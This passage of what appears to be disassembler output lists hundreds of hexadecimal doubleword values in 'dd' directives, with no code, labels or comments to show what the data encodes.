dd 0AC1D4769h, 8FEDBE5Eh, 1D8C6EF1h, 230558FBh, 404966F5h dd 0D0960375h, 0F4B39A74h, 0F610578h, 3D8015ABh, 0D9865A85h dd 40B82F65h, 4FA423BDh, 3698C350h, 4041866Ah, 9351C04Fh dd 99AB0872h, 1747DB2h, 0A8B35DD8h, 2BF4A2ECh, 0DB1ED9DAh dd 3A3EA5BFh, 0BD28AAA0h, 6CCD434Ch, 0AFB91BF7h, 0F4A2B8B7h dd 0B5971F7Dh, 540AC4BFh, 0AA5A3981h, 27901367h, 0B8BCD577h dd 87F61043h, 2772F524h, 173328E1h, 306C2EFEh, 0A714F3D6h dd 3E2AE66h, 3E070AE4h, 4EA63093h, 0B9D656E4h, 65336798h dd 0F1463372h, 32CDE0BAh, 794D64CBh, 6249C1DDh, 2BB1AB0Dh dd 0F73DA6D3h, 6384A143h, 62380E7Ch, 44D1545Ch, 0CDA68F5Dh dd 661C6527h, 78215D17h, 0FF8E3A63h, 18087985h, 0B3520F00h dd 3B30A7F9h, 586CED44h, 0B6031779h, 0A686DD25h, 359BEE0h dd 0F9B2CAADh, 0C6A119B5h, 0AABCE1D0h, 94B71E8Ch, 0C7303D97h dd 0FE111804h, 9FBC31E0h, 17C7AED9h, 0DFCECB27h, 0B5C44E37h dd 57BB0522h, 34AA06A6h, 1C4A794Dh, 66D11BC2h, 93C393BAh dd 11D9D051h, 8C6D492Ah, 6A525CCDh, 2013FF15h, 8308C2BCh dd 20D7CB77h, 4978D81Ah, 0CC262C20h, 0CC4F1D3Bh, 56F086D4h dd 382CB55Eh, 43941365h, 0CB6BE9BEh, 1DFA539Ah, 7B607A97h dd 0A6D6AB15h, 0FC614F44h, 5E9D7D8Dh, 0D695EC64h, 8A50F868h dd 9F4B9379h, 0C9F45855h, 86050136h, 0D7A55420h, 5C42B859h dd 0F0AF9AB1h, 7FDF250Dh, 0FF501437h, 0F37408ADh, 0E5E20E40h dd 0B186BAA5h, 941FA195h, 359A379Dh, 64A36826h, 56088A64h dd 513C8CACh, 79C452F8h, 15C42F2Eh, 0DB2194B9h, 0F4FAB1DFh dd 1D857C74h, 2F105F44h, 0C74F9A55h, 9B0C7CA9h, 0E40783F4h dd 0F27F6234h, 0C6699348h, 3880D87Ch, 0D186CE0Ch, 0A12B1832h dd 0FF44303Ah, 97447BBCh, 1D7F2FB3h, 0A977CA31h, 0A0FD45ACh dd 287D3085h, 0AFC5CABEh, 5815F79Ah, 0A98D063h, 0EDB738C1h dd 7222DCB6h, 16C9EFDAh, 7222A682h, 1D62C5D8h, 0BD2EF7FCh dd 65569777h, 679635B9h, 5B5283C5h, 0E9F460E7h, 0BC62EFDDh dd 6F22D3ACh, 4511F9E2h, 0B18EB008h, 0BF341513h, 922F4A50h dd 0C9BA084Eh, 0C58B996h, 2D63ABD2h, 137A236Ah, 4DDCF079h dd 7CD9D9E2h, 68C15AF9h, 9E585572h, 2DD3B913h, 0E69B3507h dd 7223B6F9h, 0FE57621Ah, 6D9302EEh, 0F76E985Ch, 112914C9h dd 59768285h, 0E2505CF1h, 8D1E3AB7h, 9573EEB8h, 3AA84189h dd 7472629h, 0B83A6BB5h, 86B5C9C0h, 0DA448D8Bh, 0A1C57F9Fh dd 382CFF0Bh, 570D5A99h, 4ECCC9A7h, 0ACAE0575h, 0CF8D26F8h dd 0A0CE4225h, 4A18BF3Eh, 99846F6Ch, 0B8069ACAh, 17B48F14h dd 2D417CFEh, 8FF324B0h, 1737C715h, 78129B96h, 0A13F79FCh dd 9B7DD22Bh, 38DAA727h, 20A0A759h, 15A06C24h, 204E4227h dd 76794B14h, 84B9C04h, 1A284309h, 0E5F0AADBh, 85968205h dd 0C1B5C4A1h, 294FE3D2h, 0E9AE25B8h, 5EFB0BBAh, 0DB743558h dd 33EA9EA9h, 63CE9235h, 0E6F0A388h, 40F752A7h, 0EEAFBDE8h dd 67C83FA6h, 744C3FAFh, 0FA7E1EB4h, 6BF276DAh, 9C3AC7ACh dd 0D25708F2h, 2145DA12h, 71C01890h, 0A53DDB1h, 1B1F12EBh dd 0A0B6FE0Ch, 0F0FDDAD4h, 903CE4C4h, 27C4C004h, 0FD800325h dd 447490B8h, 78F4216h, 0ADE9A0F3h, 8FBF9EA5h, 84E649D4h dd 47504E84h, 0F1303119h, 0AC9815BEh, 817AF1D1h, 0CD803D3Ah dd 7C9E200Eh, 0AE1B7C28h, 989E026h, 46008301h, 3FE5809Bh dd 0AD676FBAh, 8638B9F5h, 9283B8A0h, 361B1DF2h, 1675D87Ah dd 84DFB05Fh, 0C83FE4C4h, 0AF049764h, 0EB9D9C2Bh, 0B850D05Ch dd 686F29FCh, 0C87AF447h, 0B21472DAh, 582E7E5Bh, 793F42F9h dd 0CADDDD06h, 0AFE44535h, 54B3E4CAh, 0ADC0C553h, 74C6527Bh dd 7D2FA23Dh, 0D8423A68h, 6F5F6ADh, 82E148A4h, 0DDCF1Ch dd 5364CBDFh, 9AA295FEh, 0BF9B1E6Ch, 158B7394h, 8568DB99h dd 45CDE781h, 0F0EBC486h, 0C2F06D30h, 0F9834B42h, 0C7F663BCh dd 0FE5DBCF0h, 59C5F53h, 0D96E314Ch, 93ED6600h, 0A334770Dh dd 6DF0416Eh, 890932EEh, 2E2D2D36h, 0B365C201h, 6CDCF132h dd 3D64B411h, 0AA9A4B4Eh, 5C7FC7DFh, 0CA8231EAh, 0B40664F6h dd 0A839139h, 0ABEEE928h, 8471F87Ah, 3B368D4Fh, 3BAA83FFh dd 0A40E355Ah, 4085D72Fh, 48527023h, 5086E1CEh, 0E4F8A8DEh dd 49F26EF9h, 0BD60AD78h, 7C30639Dh, 6326245Eh, 0F64190F6h dd 46039240h, 88695248h, 9C9FE7AFh, 6947EB45h, 139BF74Eh dd 95C56EF3h, 967D6D50h, 32E4956Ah, 0A0864198h, 732BD3D7h dd 4F79D32Ah, 0C0417339h, 0B3E07650h, 60A93A7Eh, 0BCBE4EA3h dd 228E8A38h, 4DCBC6h, 0C61176D7h, 0EDCC71FAh, 0AC956017h dd 0B29C32B4h, 10FCEE28h, 808CD797h, 8AA494A4h, 0A97EADE4h dd 0DB14FCF4h, 8AF61891h, 25F637F6h, 0F9A9BA31h, 0F9719301h dd 66108EB6h, 0B54F31CFh, 577A1F99h, 0E453464Ah, 0F3020835h dd 2325C58Ah, 2FD1996h, 9F52D426h, 6E59924Eh, 551DD2E9h dd 5D298719h, 0D05C37C2h, 0B670CB2Bh, 7F8BFC14h, 2801A100h dd 44D5A9Ch, 0CFE1D4F8h, 0EB9CFCE5h, 73644BAh, 0B550E74Dh dd 0C2286BE8h, 355557DDh, 4E13017h, 664EF74Fh, 5E6BA198h dd 0DE6AADDFh, 0A542C5F4h, 0B708383Fh, 19F517E9h, 0B87C3AD0h dd 77D489AAh, 941A6995h, 97A62C23h, 0DF90401Ah, 28513C13h dd 0AE1D0C53h, 57D12FE8h, 79210B3Fh, 0F8A03A7Bh, 803F7E38h dd 0AC6E46C5h, 539F1B04h, 0DF39BC3Ah, 0B869531Ch, 0C391233Bh dd 36C2C4BBh, 0F60B65E8h, 9912DDFEh, 0C960E628h, 0DD98B3ECh dd 0A19F1BE2h, 0DE3FD3E3h, 0D86A2CB6h, 0A4367C27h, 5F958A29h dd 77DEE8BEh, 6D80BF26h, 0FDC9336Ah, 286F3A2Eh, 0BAF278Eh dd 81A1E07Ah, 0E6D70126h, 0ADC4DD44h, 7AA09F00h, 25DC9C56h dd 3CF65F06h, 1DE0A0E9h dd 5B9F0DC0h, 0CF1239A2h, 0FF7C4CA2h, 0EE5BF187h, 0B610A643h dd 0C6460BFAh, 8956703h, 3545899Dh, 0DF41F96h, 9BE234B1h dd 5D2FF82Fh, 7F16A817h, 16CEBDFDh, 0F29446B4h, 0CAD10EA5h dd 807AE121h, 0E2F2799Ch, 0B9419657h, 0F25A2A99h, 70005FD4h dd 0BB13818Dh, 9CBE2366h, 5B535904h, 0CE5B781h, 30CAF1C3h dd 0EF1CF65Fh, 0C776C950h, 0F193FF39h, 7206BEBFh, 0EDE4B86h dd 12890C2Ch, 30B3267Eh, 69CE43C5h, 0B92DD3E0h, 0F88E33ECh dd 0B7BC9F31h, 0D1D27BBCh, 5D06AD83h, 508B91C4h, 89F049D9h dd 0BF98C9A3h, 0D561C1B4h, 5A533C52h, 69AFAF5Dh, 9FAD5F2Dh dd 375D6C08h, 97398804h, 5FF782E3h, 62D608C2h, 74D783A9h dd 4040AC4h, 0D82504DAh, 0CECF3D8Bh, 0DE628B49h, 341D4A51h dd 0F879788h, 47E61A8Eh, 203B7949h, 640F0AE7h, 6E6EC219h dd 96218E3Eh, 67C18EECh, 0F375C775h, 0BA84ACDCh, 19AF88D7h dd 9C3B478Ah, 9AD79732h, 625834D2h, 0BFCB9C92h, 695AD34Bh dd 9E9E49B0h, 467AD72Bh, 913E5B81h, 2C46731Eh, 107598D5h dd 255DAB94h, 8EDEA401h, 7C207AF5h, 0AFB816B9h, 0EC85295Ah dd 0C503B9B0h, 60E2559Bh, 0FB860173h, 0BF9D0B8Dh, 0F9874E1h dd 10D4377Dh, 0B48B56B2h, 3224D4E6h, 7D0A9AC7h, 6D776DCEh dd 0C98A7D4Bh, 6BB54A18h, 6D0C22C5h, 6282E090h, 7CEE47AAh dd 96FA1ABh, 0A0AF8DB4h, 0C3EAB602h, 9BDA9FF1h, 0DBD3634Bh dd 0E48764A6h, 8979488h, 974FFCE3h, 0EA24E64Bh, 0EDA43AF1h dd 4A47C04Ah, 42C7B12Bh, 0A7E3CAE9h, 0C69E72F7h, 6BEF9CB4h dd 69D7BC2Dh, 2B783AC5h, 0C9FEDD39h, 7359B849h, 9B65EB3Ch dd 40160EE3h, 9DD6355Eh, 4CD829A3h, 1E6D75FCh, 0B40D143Ah dd 92662D72h, 0E99B035Ah, 51B10F69h, 0CF08BDA6h, 1BCFAC6Dh dd 0B453C18Ch, 1631AB1Bh, 0A35748DAh, 1B31460Ah, 0D0C7F4D8h dd 0EB3FCD53h, 0F385EFC5h, 2A0EDBE9h, 0C9F194B4h, 6E1186DEh dd 964EFB20h, 0A27DE6D9h, 9E95B055h, 7F684FCEh, 223E9264h dd 0E79BFD75h, 0A197D833h, 65768B26h, 0F68CB9D1h, 3F665964h dd 225B4F01h, 7EC1BDD0h, 4FBF3FE9h, 79F24E19h, 5E24215Ch dd 6A2D7D68h, 0BAF7D6ADh, 0B6129AAh, 48DB4142h, 0B0015F6Ah dd 55D86373h, 74527CBAh, 9667CCD0h, 0F80620D6h, 7AF2E45Fh dd 0BF544B00h, 0C0554E6Bh, 8F93CF15h, 80F9A72Fh, 0A0B542A1h dd 53A60B34h, 0BA2F19A4h, 0A9C401FAh, 6455CDE3h, 4DAD79EAh dd 9596EB34h, 18F48CC6h, 0B38D508Dh, 0CFDF738h, 589D8A43h dd 0EE0F60FDh, 0E477C873h, 0CD0069F7h, 0F485C14h, 649A57C7h dd 0E88A238Dh, 0EF11D3A0h, 0BC1E90DBh, 930BA252h, 0C20284F1h dd 51121CBh, 0CE188EEDh, 39C31901h, 0F22D8225h, 7DB626Bh dd 49818A5Bh, 91369955h, 57E37DA3h, 88DAA8E4h, 0A1BE9EEDh dd 6C44B12Fh, 0A5E0A93h, 5B30F2CCh, 618DE840h, 0A2FAA3AEh dd 0DCEE6335h, 40240AFBh, 0CD923401h, 2353C625h, 478988E2h dd 5475E1A2h, 0B0BB8E7Bh, 0FD435FB8h, 0D4624891h, 0C339ED98h dd 0F108950Ch, 0F0D5A9CEh, 4B2F4113h, 74E5058Ch, 21D0E7C4h dd 0DECE44D4h, 0CE3FF399h, 439EDFE5h, 5C5974CCh, 26B12E8Fh dd 56C532D5h, 2C1BD51Ah, 6408BAC0h, 15244C6Bh, 0C4298F7Bh dd 74248F98h, 6A973E23h, 2253B6EDh, 8D3C50D9h, 0C9B14839h dd 3BFEDAA2h, 7B3C1874h, 8CD34522h, 22274065h, 0DBF70747h dd 471B5EF4h, 0C435A91Ah, 702233E5h, 0B938F97Ch, 0A6529C7Bh dd 7A2353DDh, 0F6FF029h, 41439560h, 2F214587h, 46998AFFh dd 77B4CA0Eh, 98B98411h, 0CC15FAFAh, 26633445h, 98E1922Dh dd 99198B0Bh, 67EFF41Eh, 957F5650h, 46DF2161h, 0D63194A1h dd 0B0167341h, 0FE94EBBAh, 22CB10FDh, 0E735C4B3h, 0CF8A3CE7h dd 0B2009A94h, 4DD56B4Bh, 7BD11BA3h, 0B2121E0Ah, 1B237212h dd 70180EC4h, 9D6AD8Fh, 0AEAB9415h, 985B1CBBh, 9F6D1AC7h dd 0E19F9E2Eh, 0F2F73D51h, 110FA3C4h, 74476A11h, 63781C58h dd 0A35CD5DAh, 0B1E7409Eh, 24D13DE4h, 78CB2082h, 0D301B93Bh dd 7FAC8D69h, 0F896EEF0h, 25FAE8A3h, 0D0F6540Bh, 0B5113FF6h dd 535B91EDh, 2285CD5h, 9E836DD1h, 829F7C0h, 62D4A841h dd 890EDD95h, 0FEF9A06Ch, 3D3C03Bh, 0B9BEC418h, 0F692E72Bh dd 20E6EB14h, 50A06F4h, 0CAAB9DB6h, 6FD72AC3h, 0D929D568h dd 0AC0FEA15h, 69542938h, 93E4ADD6h, 4EA5465Eh, 0F9A71CAFh dd 90E85993h, 9141D9ECh, 90186D15h, 40A86877h, 1A300E9Bh dd 20035A79h, 2C35A461h, 724843Dh, 0A3F0843Bh, 39D6DF17h dd 1EAA2218h, 0C5E55D52h, 8AEE1F34h, 22F5055Dh, 0E5C19109h dd 98641890h, 68094A14h, 17042D8Eh, 0B9AFB782h, 2C28D95Ch dd 16FF5019h, 0EE5A29BDh, 0B284A20Fh, 0C00565D6h, 0D7DE4543h dd 0AF591457h, 0DC1E3B6Ah, 80790348h, 0E9903F0Dh, 0D1190282h dd 8A9B044Bh, 7D8D6356h, 780EBFA4h, 0D8302266h, 0A0444800h dd 0CB66A95Dh, 0DDC0A8A9h, 0E12D70C7h, 0B517C9E9h, 6F7D335Ah dd 2862C65Eh, 0A22CA950h, 25DF304Fh, 0D6DF0EFEh, 684F9E64h dd 35AAE7EDh, 0FE33A5B1h, 6CC3A065h, 37E8C6F5h, 7E6A8ED2h dd 7E49CD85h, 41EA0F12h, 0EDF6DE89h, 0FDC5C5CFh, 0AB4CAEE6h dd 0F4C9B022h, 62CA950Fh, 8954D9Dh, 0B31C6E39h, 3D5825B6h dd 0E27B3F10h, 0A88D4241h, 0B7E8DF9h, 5F49E929h, 0A970F6BFh dd 0C7DAF7A2h, 42B2207Bh, 101C6FFCh, 57D73562h, 0B22D0F7Ch dd 58EF7824h, 0F9712CADh, 54F1EA6h, 0E4E11FABh, 0A69B52A6h dd 443F13Bh, 0FF5D229Ch, 457B8E94h, 0BE69E25Ah, 928A54EEh dd 0BDD79B67h, 0C0A39368h, 95A540A8h, 3A517376h, 0C642DB7Eh dd 4F2B31BDh, 0C8A34322h, 1E43B947h, 57D52E73h, 8DD34C94h dd 0B2F5B59Dh, 37154E49h, 0A8C05734h, 0BCEF11Bh, 5CEB361Eh dd 4417ADCAh, 45AC8E32h, 0DFE629E4h, 6D511EDh, 12CF5DFh dd 942D3C40h, 0A05CEFDAh, 0D6DE4A24h, 8CBAC5EEh, 4C2B573Dh dd 1B69DF85h, 121313C6h, 0EEE0ECFFh, 0C8BF9C5Ch, 0B7B70244h dd 0E673B756h, 4C6CD3D9h, 131D1AA5h, 37220FF2h, 8D1C58E9h dd 0E5BEBACh, 337ECE9Ch, 8839A7D3h, 1FF792D6h, 0A52024E5h dd 0E7B239E2h, 0A3AA6C09h, 8B52C1D5h, 33B5B445h, 0A9E33686h dd 0EFEAEB02h, 78F1E7CFh, 933435BAh, 6222669Eh, 0E729F2FCh dd 0C4E8A528h, 0A938BC9Bh, 6E5EB8E1h, 4ED75C54h, 51FABBC4h dd 0F53E99CDh, 8FE78274h, 0DA669F5Eh, 0DE8194E5h, 21022CBAh dd 3161DDA5h, 0B7857059h, 0A371A324h, 64C666Ch, 6DCD3439h dd 0BAC293h, 49687AC0h, 8D619194h, 0AC3C8492h, 0BF778AC4h dd 21BED570h, 4D5D62BCh, 9C6E4AA0h, 78D45E55h, 0A8B08AF4h dd 34D5435Ch, 0E82DCBD4h, 9679058Eh, 0B9A303BFh, 7E0E6CD5h dd 6626BA3Ch, 0E38DD4A5h, 0A4A321Dh, 0E17D086Fh, 7FC5E2B7h dd 0A414E493h, 0C0957101h, 26D020BDh, 0D149998Ch, 62C0EAFFh dd 0F32FB484h, 0FB02F7F3h, 0E3B1DD0Bh, 5EDD5092h, 0EB85D020h dd 88F1BECDh, 0B87AB1B3h, 558618DEh, 368667DDh, 1DC1C4D0h dd 0ED51B19Eh, 1683D734h, 1E554C4Fh, 93BC66C1h, 0CC23D1BBh dd 33609580h, 0B918C582h, 195CB5A2h, 35CA7C48h, 3BC58FB4h dd 0DDBB137Ch, 0AA85F90Eh, 7790D914h, 0C15DB0EDh, 7D53668Fh dd 34966E0Eh, 42C779D2h, 29626C51h, 943D2AA1h, 0F83DD4CEh dd 75EF99DAh, 308C712Ch, 207D3BFCh, 0FF848CFBh, 7CDE6184h dd 0AD1E9088h, 0A0EB53C7h dd 0FA1EC6DDh, 12B8B788h, 0B19A6A18h, 0BCA42ADAh, 0E6D87528h dd 0F20865F0h, 42D99EDEh, 9D30BBF3h, 5318D066h, 8C702422h dd 1F689E4Fh, 0EFFE0A6Fh, 8E6360C7h, 7BD7426Ah, 26870C9Bh dd 0E19C2A76h, 0F09D96F1h, 91E1B225h, 73930B8Eh, 54806CECh dd 0B243260Ch, 4D28FA9Ah, 0E78C43EFh, 0D69BBDE0h, 3BCF0CFFh dd 5AE4D1BFh, 0FC452EF6h, 32C5E34Ch, 7932BA3Ah, 53B9547h dd 653B0EACh, 0DA192FAh, 6F9E147Ch, 0EE77459Bh, 0F784D944h dd 792B0319h, 35CFEA28h, 52E37024h, 15FDA88Bh, 507B4042h dd 5BF025F2h, 925FC573h, 662C46B3h, 3D89C0E7h, 12ED0205h dd 0EF9E67E8h, 0D55B3DB9h, 58F12313h, 0DB3B346Ch, 4D0B29C0h dd 0A27E4F8Fh, 0C106876Ch, 0B5C49A66h, 6A27E373h, 0DC36BFA5h dd 7B9717AFh, 535D7CE1h, 0E3E74E8Dh, 16F4F18Ch, 9ACC27A2h dd 4BC2922Fh, 0C99150F9h, 6053629Dh, 0D6A181AFh, 0A80813F3h dd 3D594DE7h, 0EA63BC92h, 0BA5E2EDDh, 0B653611Ah, 2FD473ECh dd 309CEEE6h, 6EB329ADh, 2611E913h, 0A1442E19h, 27874BEDh dd 0C378B6F9h, 775C2E15h, 478BA6B3h, 7AB962D3h, 0FD38DFD3h dd 0BF3DA3F5h, 3719C9Ch, 255AF066h, 7D2A26B8h, 5F3B0DD4h dd 80920BFBh, 386D1153h, 962010AEh, 4EB1C62Fh, 59D71006h dd 95E6849h, 223CD5EFh, 0D4ACC1F1h, 0B147ABFAh, 0FAAD87CAh dd 462574A6h, 0F437F773h, 0B2282167h, 2D65EC11h, 0A43A6705h dd 0ED7C6957h, 1756357Dh, 2CAF23ADh, 0DC44E8E2h, 8E651B96h dd 7B234034h, 0A1F88FB9h, 3277DC71h, 0EFA6D5EAh, 730E1D5Bh dd 0A88679A9h, 45C35119h, 0FDED86B7h, 5DE77EBh, 0E9AE9965h dd 148EEB03h, 45735ED7h, 0A81DE45Fh, 94965CECh, 0C2C64242h dd 601E042Fh, 0F22F2F4Fh, 0D7C6BA70h, 0B7E4B4C8h, 0DC19053Ah dd 25049612h, 0AC2F8AC7h, 0F55D8A4Eh, 0FC054A59h, 0A8DC8107h dd 0E1423355h, 3954E36Eh, 66A9AD6Fh, 0C9C2D4CEh, 0FDBF1C7Ah dd 62BE455Bh, 0E4A1EF0h, 3DF8FCD9h, 637F66B2h, 0E82CDCCEh dd 3ECBF71h, 0D3915184h, 0A0FB2B15h, 81BAA45Fh, 8F125B54h dd 86205E01h, 70E5E763h, 39C9F45Dh, 5CFA7F05h, 87F43C8Eh dd 8771CAAFh, 4DF38C9Ch, 0C2438ACEh, 81FAB095h, 0CB5157A4h dd 0C374807Fh, 0EFE0FEF5h, 2ACC249Ah, 7A748F5Dh, 0A8030F04h dd 29A4E9CEh, 0B28D0D59h, 0F43DBBF5h, 1E818417h, 5E450617h dd 6A236E25h, 1FFE9E4Dh, 86742424h, 0D61A3001h, 0EA060086h dd 28106484h, 7BDEB428h, 0D32AD87Ch, 0A20130B6h, 9B61C6CDh dd 89D28630h, 23484C1Ah, 0DBFE6C59h, 274DAADBh, 92FDBD51h dd 938394DCh, 0F28BAC76h, 71081D32h, 1C0793A3h, 3419DDE5h dd 0A0EA781Ch, 5BBB2488h, 6117ECAh, 0EFE46717h, 83BF9038h dd 8F2B574Ch, 0AAE800F3h, 16685039h, 0AC8C76B7h, 5BA6C449h dd 0B5B60091h, 2E7E88AAh, 8FCFEF2Bh, 0EE303749h, 207A073Eh dd 0D58136D5h, 725B2B98h, 0F42E0FBBh, 0A840BA4Dh, 22E3689Ch dd 0EF7C4213h, 0D1B76015h, 0B2B06755h, 8F0516EAh, 0ED17E717h dd 0D87B92BCh, 723BAD70h, 0D2BA9216h, 9660822h, 0C844F55Ah dd 0BE6F45E8h, 0C39AA70Eh, 0CF4C4E41h, 8C47781Dh, 0D48719E6h dd 128DF054h, 0D2CACF7Bh, 92F54CDAh, 0D755FEB0h, 1E33F388h dd 6D88D949h, 0BDDC9E23h, 5A3321A5h, 841B008Ch, 8A724F84h dd 52B4C77Eh, 9CCBAD9h, 1C5D017Ah, 8BA0E73Fh, 0BD77DC2Dh dd 39F2599h, 0D4FC6B8Eh, 0F31DC056h, 3D6F2726h, 455B0D03h dd 4EEFC64h, 862F467Ah, 0CC065832h, 0AFF35AB0h, 0FDA6E3E5h dd 0AD50022Dh, 0D1E2EC17h, 0BDF957B2h, 0E745FBFCh, 4B90658h dd 2E4E5D9Ch, 0F14AEE87h, 94818165h, 0E1116E9Ch, 0B9163BD7h dd 286D13BBh, 0D1AD1BA5h, 0B9543516h, 5E2B525Eh, 0DFA75830h dd 0D0591414h, 5D4A8C46h, 2878C775h, 8B5A6FACh, 0A5C3CA2Bh dd 3F8F29C2h, 0B4F26934h, 411066F5h, 0DE13E8EBh, 548F79A5h dd 0FE5E8A6Ah, 0C1D5B4FCh, 0EA386FE5h, 0D404E363h, 90695C46h dd 104399E9h, 93C4FCACh, 1F645F5Eh, 0D08DD994h, 0CE37F952h dd 95EFEAB5h, 2D1285A3h, 3463BC75h, 0D89CD228h, 0B73BA895h dd 8AE9E6ABh, 644066D9h, 80F0856Bh, 0DEE73BF8h, 56E6D249h dd 28406DFBh, 752DD397h, 3812A1A8h, 2EF18D82h, 948915FFh dd 0D253C2C4h, 0DFAAEC0h, 0D59788ADh, 8857F056h, 7463A840h dd 0DB553A5Eh, 0BE713A0Fh, 31967795h, 17541535h, 11218A63h dd 20592570h, 2DB792C2h, 0DCF0BF55h, 6EA929C3h, 5732843Dh dd 0A1896F39h, 4BA341E5h, 2ACD9F8h, 9217617Ch, 1F318A47h dd 0B690D7DBh, 4755674Dh, 59941B04h, 0A0403C51h, 0A593A168h dd 42EBBA8Dh, 0F48AC52Bh, 647C0F6h, 35B20E16h, 0CC6C09C5h dd 0F1D329B5h, 2AFBF14Dh, 0B833EC1Bh, 0C003E024h, 0F92D3FB4h dd 0D09318E0h, 75633FB0h, 18C7FFE3h, 0D75344FDh, 0E6F69683h dd 272564C5h, 0CA6B2EF4h, 341B076Dh, 0D500CADAh, 8F383CE1h dd 6DF4885Ch, 156488FBh, 400C014Fh, 91DBF6B8h, 7376006h dd 5B05C079h, 5F85B23Ch, 819191FEh, 12A983DBh, 0FA9B3DC1h dd 0F5EEE680h, 1EBCE06Ch, 2F11F45Bh, 77353AEFh, 0C30ED4FFh dd 0C79D2855h, 0D02028CCh, 2C71B8E7h, 64A69376h, 57FE72D4h dd 67A77BBFh, 0FD891E48h, 2AC695E7h, 1BD8777Bh, 265617D8h dd 7EFC45E3h, 9497DB21h, 0CCE3722Bh, 0DE6179FAh, 64A8E2E7h dd 6AF7FD21h, 0AF49502Bh, 32D059D1h, 0A181CD33h, 0C3C73B49h dd 7A594DBBh, 0C7B09B56h, 0F0A8242Dh, 36B98362h, 0AB9B0D69h dd 0DCBDD811h, 8EBA655Ch, 26DAF8D2h, 5225FE0Dh, 0C5DC3A3Eh dd 5A2D4869h, 0F54A2B12h, 0B22889DCh, 1118377Eh, 0F6CADD6h dd 0EDB15328h, 0D0960972h, 94A6D3F3h, 0B28D4C36h, 9B344654h dd 0AB2AAE4Ch, 0B3FC3ECAh, 554617EAh, 944060Dh, 0E237C6B7h dd 162637FDh, 0C62CE3B2h, 0AF72144Fh, 4AE06C8h, 0B557A6F8h dd 0FA5EA2BCh, 0C9E61BAFh, 6E27206Fh, 36A76263h, 0CB09A8C9h dd 7219C60Fh, 93B885F9h, 376DEAE4h, 0E5BEF2EEh, 6104C3A8h dd 0E2D43C8Eh, 9B748D2Ch, 2F10BC79h, 7E95F86Ch, 0B3E1B460h dd 4AD7F60Fh, 0A2A40774h, 2B0D337Fh, 4AFAE215h, 2FE7A8E9h dd 0CF086D2Ch, 6452FDCBh, 5F891932h, 40E4C80Eh, 0D520AD29h dd 846D9311h, 84E13A64h, 9E33FE79h, 0CB0E13B5h, 9B8CB2B7h dd 3D195E4Fh, 0F8D5BB5Fh, 544B1FC0h, 82CF2EC0h, 284F123Bh dd 934E513Fh, 0FF2EC34Bh, 0F816AB37h, 0EB59B99Eh, 0F2D3A955h dd 412138CBh, 7ADB479Dh, 0D48A5620h, 33EE01A4h, 488B7B5Ch dd 6CFDCBE5h, 734E4A21h, 849A6310h, 74A12FC5h, 0D7486F50h dd 66E98F04h, 495AE1ACh, 0F302AE6Bh, 9D1BA962h, 773F0BDh dd 0F67A735Fh, 36100FBBh, 0C289F748h, 0D04E854h, 0C7A03D3Ah dd 0E70FC2Bh, 0A7BCDC22h, 479D3E20h, 0A89841F8h, 0CFEFDB36h dd 95E75979h, 5CFE61DBh, 1FC53129h, 210A811h, 7330E746h dd 4AC1AF88h, 0E0F04824h, 6ABFAE19h, 0AA6A5AC3h, 0BBD081B7h dd 0E9B0D843h, 75F16933h, 0E036B1A9h, 34A7C638h, 1C7A320Fh dd 0FDBACDA8h, 85D5EA37h, 0B2FC416Ch, 7C4F7316h, 0F2EADD41h dd 9B802BBh, 5AAF0522h, 0A4367792h, 8CD904Fh, 20E93DB4h dd 9C9DF793h, 8CDF4C95h, 635B500Ah, 0F320B03Fh, 2E7C5D99h dd 6B491A33h, 0FC942222h, 0B3F7AE7Fh, 0CD388804h, 0A51E0226h dd 39D56FB3h, 0CED90C33h, 56E163AAh, 0E855FA24h, 6285A874h dd 0B5A9A626h, 20756A36h dd 2CC311A4h, 0BA47C640h, 0E646BF12h, 0F5CE2755h, 0A2A01825h dd 790C48CDh, 12206ADCh, 0FA1A681Ah, 0CAF6E466h, 0D85E5381h dd 0ECEAC8B5h, 0C84C3A3Dh, 0E073DD4Fh, 94BDD097h, 0B02399A5h dd 0E98F6E30h, 0CCDCA3F7h, 0F2F979CCh, 51C96C66h, 7B65BE36h dd 0A0468938h, 0F48AA85Eh, 8676EFF1h, 0D43EC1DEh, 7802A3F8h dd 788FB3D9h, 2DD5DC6h, 3A6C8CDEh, 0C2CA2C0Bh, 54B24682h dd 0A5B9C95Ch, 0EF021A57h, 62FE5892h, 537B4143h, 0E9F4F481h dd 50E6B2A1h, 0A6551635h, 6D31EA74h, 199358BCh, 0F64ED00h dd 0AA432FE8h, 0E0FA25E8h, 23BE9C71h, 933136D7h, 5EE67EEBh dd 9306B1B8h, 0C3268F65h, 6ED78000h, 8CFB4FA5h, 0B97B6D0Ch dd 16152709h, 0BAB46E71h, 0F63D369Ch, 0C6C94447h, 44B55EEEh dd 0EDED4396h, 9DD01DFh, 9D0DC031h, 54E6B6DCh, 0BC261263h dd 0BF01F570h, 6EAB7525h, 0DB0E491Ah, 44E05092h, 0ABAA9060h dd 0E30D721Bh, 32E76D9Fh, 0BA08680h, 843CC162h, 0BF246E88h dd 322AF402h, 1AA9052Ah, 0E04408B0h, 9E4F0F94h, 81D91F26h dd 0BA9F56D3h, 92798270h, 0EC0B9375h, 0BD6BD492h, 392DD858h dd 6E32FAB1h, 199287F1h, 9E38D1D6h, 8FE78427h, 0D119D27Dh dd 0C799BDEAh, 4530D6DBh, 0E87C9A2h, 0B486286Dh, 80BB1226h dd 2894F700h, 85D2E20Dh, 87B34BA8h, 1365FC7Fh, 7B40CAA5h dd 76A8A96Eh, 4009D94h, 1536066Bh, 973E63CEh, 8A0F3666h dd 7F65BDD3h, 0B1945D3Ah, 51FC80C7h, 9823C39Ch, 0A4A9E24Ah dd 0FFC58B7Ah, 2C3748D8h, 7FFF5AE4h, 9DD28945h, 0D1C23BE6h dd 8DD38185h, 5364B812h, 1ACBA569h, 928DB49Dh, 0A3E64FC4h dd 0E6CBFDAAh, 3EBCD9Ah, 60DF86DAh, 64CB736Dh, 58A97B62h dd 110AD4E6h, 0F0FE560Ah, 0B2237520h, 465CDFE2h, 8B005C2Ah dd 1EC7D9AFh, 2EF4601Dh, 0DA4A32A8h, 0F5481B5Ah, 999C2492h dd 6F8319BEh, 98BEB76Bh, 188775C7h, 0B73694D2h, 0C08638C9h dd 13EDE4F7h, 203B38C5h, 0B2B91B40h, 89E4901Dh, 88AA9B19h dd 6E0AADh, 0AD19286h, 0BC3B6355h, 79FFFC5Ch, 0EA25B3E9h dd 0D15C0451h, 2CE89D77h, 0FCC156ECh, 0C8402B16h, 0C5D9DA37h dd 0B693B25Dh, 0D679F0Bh, 0EE0D427Ch, 